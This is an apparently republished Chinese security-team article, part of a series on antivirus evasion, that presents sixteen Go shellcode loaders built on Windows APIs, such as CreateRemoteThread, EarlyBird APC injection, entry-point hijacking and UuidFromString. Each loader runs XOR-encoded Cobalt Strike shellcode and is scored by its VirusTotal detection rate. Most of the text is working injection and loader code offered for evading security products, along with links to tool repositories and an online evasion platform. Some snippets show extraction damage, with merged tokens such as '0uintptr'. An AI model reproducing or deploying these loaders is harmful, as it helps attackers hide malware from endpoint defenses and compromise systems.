Redian新闻
>
远控免杀专题(76)-基于Go的各种API免杀测试

远控免杀专题(76)-基于Go的各种API免杀测试

科技

免杀专题文章及工具:https://github.com/TideSec/BypassAntiVirus

免杀专题在线文库:http://wiki.tidesec.com/docs/bypassav

本文涉及的所有代码和资料:https://github.com/TideSec/GoBypassAV/

0x01 基于API的免杀测试

1.1 介绍

目前基于Go的免杀,很大一部分都是基于已有API来各种姿势的加载shellcode,再加上shellcode的加解密、代码混淆、加壳、条件执行等方法,从而规避杀软的检测。

基于Go的各种加载器也就是为shellcode申请一段内存,然后把指令寄存器指向shellcode的开头,让机器执行这段shellcode,而Go实现这个功能就需要调用windows API了。

本次所有测试代码:https://github.com/TideSec/GoBypassAV/下的Go_Windows_API目录,所有代码均可单独编译运行。

通过对Go免杀的研究,实现了一个在线免杀平台,目前生成x64位的免杀效果尚可,x86的效果一般。

潮影在线免杀平台:http://bypass.tidesec.com/

1.2 测试环境

本文搜集汇总了网上各种基于Go的API代码实现方式,共16种,应该算是比较全面的了,逐一进行了免杀测试。

  • 测试环境:Win10 x64

  • shellcode:CobalStrike 4.4生成的64位shellcode,使用了异或xor算法进行编码

  • Golang版本:1.18.3

  • 测试参数:使用go build -gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH -ldflags "-w -s" 编译生成

  • 说明:方便对比起见,本次测试均未结合其他免杀方式。

CobalStrike 4.4生成的shellcode使用异或算法进行编码,异或代码在这里:https://github.com/TideSec/GoBypassAV/blob/master/Encryption/xor/xor.go

1.3 测试结果

测试使用的平台为VT平台:https://virustotal.com/

API介绍部分参考piiperxyz大佬的https://github.com/piiperxyz/AniYa

0x02 不同API的免杀测试情况

2.00 HelloTide测试(VT免杀率7/70)

测试之前先用helloTide测试一下,发现VT的查杀率能到7/70,所以现在想把Go语言做到0免杀已经很难了,能达到10/70以下就算不错的了。在去年的时候还能用-race参数做到基本0免杀,但现在加上-race参数只会查杀更厉害。

package main

import "fmt"

func main(){
 fmt.Println("Hello Tide")
}

2.01 CreateFiber(VT免杀率18/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
CreateFiber := kernel32.NewProc("CreateFiber")
SwitchToFiber := kernel32.NewProc("SwitchToFiber")
fiberAddr, _, _ := ConvertThreadToFiber.Call()
addr, _, _ := VirtualAlloc.Call(0uintptr(len(shellcode)), MemCommit|MemReserve, PageReadwrite)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
fiber, _, _ := CreateFiber.Call(0, addr, 0)
_, _, _ = SwitchToFiber.Call(fiber)
_, _, _ = SwitchToFiber.Call(fiberAddr)

2.02 CreateProcessWithPipe(VT免杀率8/70)

核心代码

VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")

errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nilniltrue, windows.CREATE_SUSPENDED, nilnil, startupInfo, procInfo)

addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)

2.03 CreateRemoteThread(VT免杀率8/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
pHandle, _ := windows.OpenProcess(
    windows.PROCESS_CREATE_THREAD|
        windows.PROCESS_VM_OPERATION|
        windows.PROCESS_VM_WRITE|
        windows.PROCESS_VM_READ|
        windows.PROCESS_QUERY_INFORMATION,
    false,
    uint32(pid),
)
addr, _, _ := VirtualAllocEx.Call(
    uintptr(pHandle),
    0,
    uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,
)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(
    uintptr(pHandle),
    addr,
    (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(
    uintptr(pHandle),
    addr,
    uintptr(len(shellcode)),
    windows.PAGE_EXECUTE_READ,
    uintptr(unsafe.Pointer(&oldProtect)),
)
_, _, _ = CreateRemoteThreadEx.Call(uintptr(pHandle), 00, addr, 000)
_ = windows.CloseHandle(pHandle

2.04 CreateRemoteThreadEx(VT免杀率9/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
CloseHandle := kernel32.NewProc("CloseHandle")
pHandle, _, _ := OpenProcess.Call(
    windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|
        windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0,
    uintptr(uint32(pid)),
)
addr, _, _ := VirtualAllocEx.Call(pHandle, 0uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(pHandle, addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(pHandle, addr, uintptr(len(shellcode)),
    windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
_, _, _ = CreateRemoteThreadEx.Call(pHandle, 00, addr, 000)
_, _, _ = CloseHandle.Call(uintptr(uint32(pHandle)))

2.05 CreateThread(VT免杀率8/70)

核心代码

addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
var oldProtect uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
thread, _, _ := CreateThread.Call(00, addr, uintptr(0), 00)
_, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

2.06 CreateThreadNative(VT免杀率8/69)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
CreateThread := kernel32.NewProc("CreateThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0uintptr(len(shellcode)),
    MemCommit|MemReserve, PageReadwrite)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead,
    uintptr(unsafe.Pointer(&oldProtect)))
thread, _, _ := CreateThread.Call(00, addr, uintptr(0), 00)
_, _, _ = WaitForSingleObject.Call(thread, 0xFFFFFFFF)

2.07 CreatProcess(VT免杀率8/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
    Flags:      windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
    ShowWindow: 1,
}
appName, _ := syscall.UTF16PtrFromString(program)
commandLine, _ := syscall.UTF16PtrFromString("")
_ = windows.CreateProcess(
    appName,
    commandLine,
    nil,
    nil,
    true,
    windows.CREATE_SUSPENDED,
    nil,
    nil,
    startupInfo,
    procInfo,
)
addr, _, _ := VirtualAllocEx.Call(
    uintptr(procInfo.Process),
    0,
    uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,
)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(
    uintptr(procInfo.Process),
    addr,
    (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(
    uintptr(procInfo.Process),
    addr,
    uintptr(len(shellcode)),
    windows.PAGE_EXECUTE_READ,
    uintptr(unsafe.Pointer(&oldProtect)),
)

var processInformation ProcessBasicInformation
var returnLength uintptr

_, _, _ = NtQueryInformationProcess.Call(
    uintptr(procInfo.Process),
    0,
    uintptr(unsafe.Pointer(&processInformation)),
    unsafe.Sizeof(processInformation),
    returnLength,
)
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")

var peb PEB
var readBytes int32

_, _, _ = ReadProcessMemory.Call(
    uintptr(procInfo.Process),
    processInformation.PebBaseAddress,
    uintptr(unsafe.Pointer(&peb)),
    unsafe.Sizeof(peb),
    uintptr(unsafe.Pointer(&readBytes)),
)

var dosHeader ImageDosHeader
var readBytes2 int32

_, _, _ = ReadProcessMemory.Call(
    uintptr(procInfo.Process),
    peb.ImageBaseAddress,
    uintptr(unsafe.Pointer(&dosHeader)),
    unsafe.Sizeof(dosHeader),
    uintptr(unsafe.Pointer(&readBytes2)),
)

var Signature uint32
var readBytes3 int32

_, _, _ = ReadProcessMemory.Call(
    uintptr(procInfo.Process),
    peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
    uintptr(unsafe.Pointer(&Signature)),
    unsafe.Sizeof(Signature),
    uintptr(unsafe.Pointer(&readBytes3)),
)

var peHeader ImageFileHeader
var readBytes4 int32

_, _, _ = ReadProcessMemory.Call(
    uintptr(procInfo.Process),
    peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
    uintptr(unsafe.Pointer(&peHeader)),
    unsafe.Sizeof(peHeader),
    uintptr(unsafe.Pointer(&readBytes4)),
)

var optHeader64 ImageOptionalHeader64
var optHeader32 ImageOptionalHeader32
var readBytes5 int32

if peHeader.Machine == 34404 {
    _, _, _ = ReadProcessMemory.Call(
        uintptr(procInfo.Process),
        peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
        uintptr(unsafe.Pointer(&optHeader64)),
        unsafe.Sizeof(optHeader64),
        uintptr(unsafe.Pointer(&readBytes5)),
    )
else if peHeader.Machine == 332 {
    _, _, _ = ReadProcessMemory.Call(
        uintptr(procInfo.Process),
        peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
        uintptr(unsafe.Pointer(&optHeader32)),
        unsafe.Sizeof(optHeader32),
        uintptr(unsafe.Pointer(&readBytes5)),
    )
}

var ep uintptr
if peHeader.Machine == 34404 {
    ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
else if peHeader.Machine == 332 {
    ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
}

var epBuffer []byte
var shellcodeAddressBuffer []byte

if peHeader.Machine == 34404 {
    epBuffer = append(epBuffer, byte(0x48))
    epBuffer = append(epBuffer, byte(0xb8))
    shellcodeAddressBuffer = make([]byte8)
    binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
    epBuffer = append(epBuffer, shellcodeAddressBuffer...)
else if peHeader.Machine == 332 {
    epBuffer = append(epBuffer, byte(0xb8))
    shellcodeAddressBuffer = make([]byte4// 4 bytes for 32-bit address
    binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
    epBuffer = append(epBuffer, shellcodeAddressBuffer...)
}

epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))

_, _, _ = WriteProcessMemory.Call(
    uintptr(procInfo.Process),
    ep,
    uintptr(unsafe.Pointer(&epBuffer[0])),
    uintptr(len(epBuffer)),
)

_, _ = windows.ResumeThread(procInfo.Thread)
_ = windows.CloseHandle(procInfo.Process)
_ = windows.CloseHandle(procInfo.Thread)

2.08 EarlyBird(VT免杀率6/69)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
QueueUserAPC := kernel32.NewProc("QueueUserAPC")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags:      windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
ShowWindow: 1,
}
program, _ := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
args, _ := syscall.UTF16PtrFromString("")
_ = windows.CreateProcess(
program,
args,
nilniltrue,
windows.CREATE_SUSPENDED, nilnil, startupInfo, procInfo)
addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(uintptr(procInfo.Process), addr,
(uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(uintptr(procInfo.Process), addr,
uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
_, _, _ = QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
_, _ = windows.ResumeThread(procInfo.Thread)
_ = windows.CloseHandle(procInfo.Process)
_ = windows.CloseHandle(procInfo.Thread)

2.09 EtwpCreateEtwThread(VT免杀率9/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0uintptr(len(shellcode)),
    MemCommit|MemReserve, PageReadwrite)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)),
    PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
thread, _, _ := EtwpCreateEtwThread.Call(addr, uintptr(0))
_, _, _ = WaitForSingleObject.Call(thread, 0xFFFFFFFF)

2.10 HeapAlloc(VT免杀率18/70)

核心代码

shellSize := uintptr(len(shellcode))
handle, _, _ := RtlCreateHeap.Call(0x00040000|0x000000020, shellSize, shellSize, 00)
alloc, _, _ := RtlAllocateHeap.Call(handle, 0x00000008, shellSize)

for index := uint32(0); index < uint32(len(shellcode)); index++ {
    writePtr := unsafe.Pointer(alloc + uintptr(index))
    v := (*byte)(writePtr)
    *v = shellcode[index]
}
_, _, _ = syscall.Syscall(alloc, 0000)

2.11 NtQueueApcThreadEx(VT免杀率9/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
GetCurrentThread := kernel32.NewProc("GetCurrentThread")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
addr, _, _ := VirtualAlloc.Call(0uintptr(len(shellcode)), MemCommit|MemReserve, PageReadwrite)
fmt.Println("ok")
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
thread, _, _ := GetCurrentThread.Call()
_, _, _ = NtQueueApcThreadEx.Call(thread, 1, addr, 000)

2.12 ProcCryptProtectMemory(VT免杀率18/70)

核心代码

addr, _, err := VirtualAlloc.Call(0uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
    syscall.Exit(0)
}
time.Sleep(2 * time.Second)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
procCryptProtectMemory.Call(uintptr(addr), uintptr(len(charcode)), uintptr(0x00))
if err != nil && err.Error() != "The operation completed successfully." {
    syscall.Exit(0)
}

time.Sleep(2 * time.Second)
syscall.Syscall(addr, 0000)

2.13 RtlCreateUserThread(VT免杀率8/69)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
CloseHandle := kernel32.NewProc("CloseHandle")
pHandle, _, _ := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|
    windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
    0uintptr(uint32(pid)))
addr, _, _ := VirtualAllocEx.Call(pHandle, 0uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(pHandle, addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(pHandle, addr, uintptr(len(shellcode)),
    windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
var tHandle uintptr
_, _, _ = RtlCreateUserThread.Call(pHandle, 00000, addr, 0,
    uintptr(unsafe.Pointer(&tHandle)), 0)
_, _, _ = CloseHandle.Call(uintptr(uint32(pHandle)))

2.14 RtlMoveMemory(VT免杀率17/70)

核心代码

addr, _, err := VirtualAlloc.Call(0uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
    checkErr(err)
}
_, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)

for j := 0; j < len(shellcode); j++ {
    shellcode[j] = 0
}
for j := 0; j < len(shellcode); j++ {
    shellcode[j] = 0
}

syscall.Syscall(addr, 0000)

2.15 SyscallUnsafe(VT免杀率16/70)

核心代码

func run(scd []byte) {

 ff := func() {}
 var oldfperms uint32
 if !VirtualProtect1(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&ff))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
 }

 **(**uintptr)(unsafe.Pointer(&ff)) = *(*uintptr)(unsafe.Pointer(&scd))
 var old uint32
 if !VirtualProtect1(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&scd))), uintptr(len(scd)), uint32(0x40), unsafe.Pointer(&old)) {
 }
 ff()
}

2.16 UuidFromString(VT免杀率19/70)

核心代码

kernel32 := windows.NewLazySystemDLL("kernel32")
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
heapCreate := kernel32.NewProc("HeapCreate")
heapAlloc := kernel32.NewProc("HeapAlloc")
enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
uuidFromString := rpcrt4.NewProc("UuidFromStringA")
heapAddr, _, _ := heapCreate.Call(0x0004000000)
addr, _, _ := heapAlloc.Call(heapAddr, 00x00100000)
addrPtr := addr
for _, temp := range uuids {
    u := append([]byte(temp), 0)
    _, _, _ = uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
    addrPtr += 16
}
_, _, _ = enumSystemLocalesA.Call(addr, 0)

0x03 测试小结

发现在使用GO进行免杀时,单纯使用API时有的效果还可以,但兼容性稳定性不一定好,而兼容性好使用较多的免杀效果又比较一般。

比如比较早期出现的Go加载器https://github.com/brimstone/go-shellcode就是用了上面2.15 SyscallUnsafe的方式,现在很多基于Go的免杀也都在使用这种API,目前VT免杀率16/70。

所以要想得到更好的免杀效果,还是要多种方式结合,下篇文章将总结一下Golang免杀的常见方式。多种方式结合,将会有更好的免杀效果。

0x04 参考资料

本文内容参考节选自以下资料:

go-shellcode:https://github.com/Ne0nd0g/go-shellcode

GolangBypassAV:https://github.com/safe6Sec/GolangBypassAV

windows免杀:https://blog.z3ratu1.cn/windows免杀入门.htm

AniYa免杀:https://github.com/piiperxyz/AniYa

golang免杀初尝试:https://xz.aliyun.com/t/11279



E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。


微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
给大家梳理下,为互联网「无偿」打工的各种场景美国的各类研究生考试不同城市加油每升可差1.5元,发改委定价下的各地油价为何有高有低?出发了吗?收好这 10+ 款 App,能帮你解决十一出游的各种问题iPhone 14 Pro的灵动岛,让他们都“疯”了!在美国141.闹钟、潜艇工程师这个科技公司CEO的“离职感言”火了,医药创投圈都在反复看正在答疑丨非小细胞肺癌罕见突变的各种问题,带问题进来问!简单实用远控小工具Todeskduang~做LOGO的四种常用技巧!中纪委刊物载文痛批“李丞相” 耐人寻味冲锋衣被误解的这些年,在座的各位都有责任潮影webshell在线免杀功能上线在CVPR上,OPPO的一系列「业界首次」只有星巴克的 NFT 是 Web2.5?恐怕在座的各位…… | 近未来李·拜天LEO的闪现冒泡:分享奶酪狗子的近况等徐晓波与认养一头牛冲刺IPO的六年我去沙漠里洗个脚,顺便和好朋友来一次承诺友谊的“婚礼” | 火人节的各种怪诞营地!Fedora Linux 的各种版本 | Linux 中国出战UFC主赛,宋亚东喊话对手“他没有一拳KO的能力”[评测]Corsair 美商海盗船 JoJo的奇妙冒险 石之海联名套装赏析远控免杀专题(74)-基于Go的条件触发式免杀[模型] LEGO No.10276 罗马斗兽场 COLOSSEUM早报|爱马仕在武汉开设新店;传Dior将撤回对Valentino的索赔;西装品牌Gieves & Hawkes挂牌出售远控免杀专题(77)-基于Go的免杀总结后疫情时代,无良的商家印着巴黎世家LOGO的乐事薯片要卖1.3万?父亲节的纪念潮影在线免杀平台上线了(老友记第一部) 奔着出轨去遛弯儿 (3 )俄乌战争有望在10月份结束!深入分析普京过去八年犯的各种错误emo的年轻人,戒不掉毛绒玩具坦帕独栋别墅位于Grand Hampton 享有池塘景色 社区拥有度假般设施 售价65.9万美金现代 C++ 测试工具链(是时候抛弃 gtest/google bench 了)硬核观察 #765 黑客泄露 GTA 6 测试视频,并出售 GTA 5 的源代码
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。